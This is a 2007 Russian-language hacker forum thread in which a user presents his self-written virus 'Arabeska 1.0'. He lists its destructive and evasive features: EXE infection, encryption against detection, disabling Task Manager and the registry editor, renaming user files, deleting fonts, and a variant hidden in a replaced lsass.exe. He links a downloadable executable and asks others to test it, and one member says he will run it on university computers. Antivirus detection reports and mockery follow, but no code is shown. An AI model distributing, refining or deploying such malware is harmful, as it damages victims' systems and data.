PDA

Просмотр полной версии : Мой вирус Арабеска 1.0


gold-goblin
28.03.2007, 17:29
Это мой второй вирус который я написал.
Вирус написан на измененных и дописаных исходниках старых вирей (Конечно присутствует и мой код).
Его функции:

1) Заражать ЕХЕ файлы на винчестере где находится (Почти все ЕХЕ остаются живы)
2) Для беспалевности не заражает критические файлы винды (Для беспалевности)
3) Стартует с дисков и дискет
4) Путоет код файла (Для трудного лечения)
5) Шифровка (Для трудного лечения и определения)
6) Скрывает диски в проводнике
7) Запрещяет панель управления
8) Запрещяет диспечер задач
9) Запрещяет редактирование реестра
10) Меняет кнопки мыши
11) Мусорит в папке где находится
12) Переименовать все на рабочем столе в "Это вирус"
13) Переименовать мои документы в "Документы вируса"
14) Переименовать все в моих документах на "Файлы вируса"
15) Удоляет шрефты
16) Очищяет меню пуск

Я сделал несколько версий виря.

1) Полностью готовая к использованию.
Недочеты:
а) Старт через папку авто загрузки.
б) Состоит из 3 файлов

Действия:
а) после двайного клика по ехе файлу вирус копируется в папку систем32
б) остальное было описано выше

2) Фаил одностарт
Недочеты:
а) Не имеет автозагрузки

Действия:
а) при старте выполняет все как и аписано

3)Системный процесс
Отличия:
а) Инсталлер содержится в системном процессе lsass.ехе
б) Перезаписывается при каждом старте системы

Недочеты:
а) фаил lsass.ехе предется заменять в ручную.

Вирус проверялся на винде сервис пак 2. (Но без обнавлений и антивирусов)

В спокойной обстановке не палится касперским.

Кто найдет сбой в работе вируса очень прошу отпишитесь тут с полным описанием ошиби.

И пожалуйста критикуйте (Но не сильно) :)

Скачатьфаил со всеми версиями : Тырк (http://tatoine.clan.su/TELO.exe)

-FARAON2005RAMSES-
28.03.2007, 20:07
ГгГгГ :) Почти все exe остаются живы... ХЕХ :)

На своём компе тыкать не буду а вот в универе обязательно проверю :)))) у них там win2000 Вот сисадмину урок будет что антивирус надо АБНАВЛЯТЬ! :))))

Lesnoy_chelovek
28.03.2007, 21:29
Уже даже при закачке антивирь закричал.

GreenBear
28.03.2007, 21:37
я бы за такое пиздюлей дал, понимаю трояны еще хоть куда не шло, но тупо пахабить =\

GROB_T
28.03.2007, 21:41
gold-goblin, на каком языке написан вирь? И еще вопрос - этот exe,который ты выложил, как я понял по тому что видно по блокнотному изучению, что там что-то вроде менюшки выбора типа вируса, но рисковать все-таки не стал, после открытия exe ничего опасного не происходит?

+toxa+
28.03.2007, 22:53
Напоминает анек про молдавский вирус, типа "наши разработчики настока необразованы, что не смогли сделать норм вирус. пожалуйста, удалите всё сами"

Sn@k3
28.03.2007, 23:15
жесть, моню я что-то вроде такого кидал, но это извращение, пише трояны, пряльно мажкА)

Kest
29.03.2007, 01:10
Мне название понравилось
TELO.exe

gold-goblin
29.03.2007, 16:19
GROB_T
Вирус написан на 2 языках.
1) Паскаль
2) ВБ скрипт

Да ты прав ничего не произойдет при запуске, это программа с помощью которого можно выбрать версию вируса (Описано выше)

Lesnoy_chelovek

Какой у тебя антивирус???
Касперский у меня молчит.

Sn@k3

Я пока только изучаю работу программ через сетевые протоколы, так-что когда смогу то напишу.

Lesnoy_chelovek
29.03.2007, 16:50
gold-goblin, AntiVir - немецкий. (:

gold-goblin
29.03.2007, 17:02
Lesnoy_chelovek

Кульно. Значит он лучше касперскова.

-faraon2005ramses-

Я кстати не уверен что под 2000 вирь потянет, я писал его под ХП.
Отпишись о полученых результатах, ладно?

TANZWUT
29.03.2007, 17:47
НОД32 при загрузке файла выдал:
29.03.2007 17:41:49 IMON http://tatoine.clan.su/TELO.exe Win32/TrojanDropper.Small.NFB

gold-goblin
29.03.2007, 21:15
Внимание!!!
Я нашол серьезную ошибку в своем вирусе!!!
К завтрошнему вечеру постараюсь исправить.
Простите за такое не удобство.


Глюк:
На пропатченной винде (ХП сп2) вирус не может инсталироватся и запустится.

Тагже к завтрому попробую исправить проблемы с антивирусами.

darckmilord
25.04.2007, 23:01
У меня Доктор Вед впалил при закачке))))).
Но все равно молодец, держи +.
Буду ждать резы с обновами)))). Удачи

alextoun
25.04.2007, 23:14
Мой вирус Арабеска 1.0
назови лучше так
Долбонеску через зановеску))
Напоминает анек про молдавский вирус, типа "наши разработчики настока необразованы, что не смогли сделать норм вирус. пожалуйста, удалите всё сами"
Здраствуйте. Это молдавский вирус. В связи с бедностью нашей страны и невыскокими знаниями моего разработчика, я не могу принести вред вашему копмьютеру, поэтому, пожалуйста, удалить какой-нибудь важый для себя файл сами, и разошлите меня по списку контрактов :d :D

miniden
28.04.2007, 17:51
битдефендер заявил что это пинч...

gold-goblin
28.04.2007, 17:56
битдефендер заявил что это пинч...
Пинч???
Если я не ошибаюсь пинч на асэмблере написан а тут все на паскале и Vb!!!
Может крышка едет у битдефендер.

Fata1ex
28.04.2007, 18:00
Тут недавно калькулятор стал мегатроем...че токо не случается...+ за вирус

Ch3ck
28.04.2007, 18:18
Вирус написан на измененных и дописаных исходниках старых вирей (Конечно присутствует и мой код)
А вдруг нет...
Мне вот это понравилось:
11) Мусорит в папке где находится
12) Переименовать все на рабочем столе в "Это вирус"
13) Переименовать мои документы в "Документы вируса"
14) Переименовать все в моих документах на "Файлы вируса"
Зато он не изменяет "критический файлов". для беспалевности...

gold-goblin
28.04.2007, 23:18
BlackLogic

Зато знаеш как прикольно кагда он заразит ехе файлы во всех папках и будет мусорить там.
Комп при этом грузится так что мама не горюй

gold-goblin
28.04.2007, 23:30
Боюсь новых версий арабески не будет :( я подхватил вирус и пришлось все сносить.
Буду писать новый вирь. Скоро ждите

ShadOS
01.05.2007, 22:37
Во избежание флейма топик закрыт. В следующий раз влеплю много минусов любителям поржать.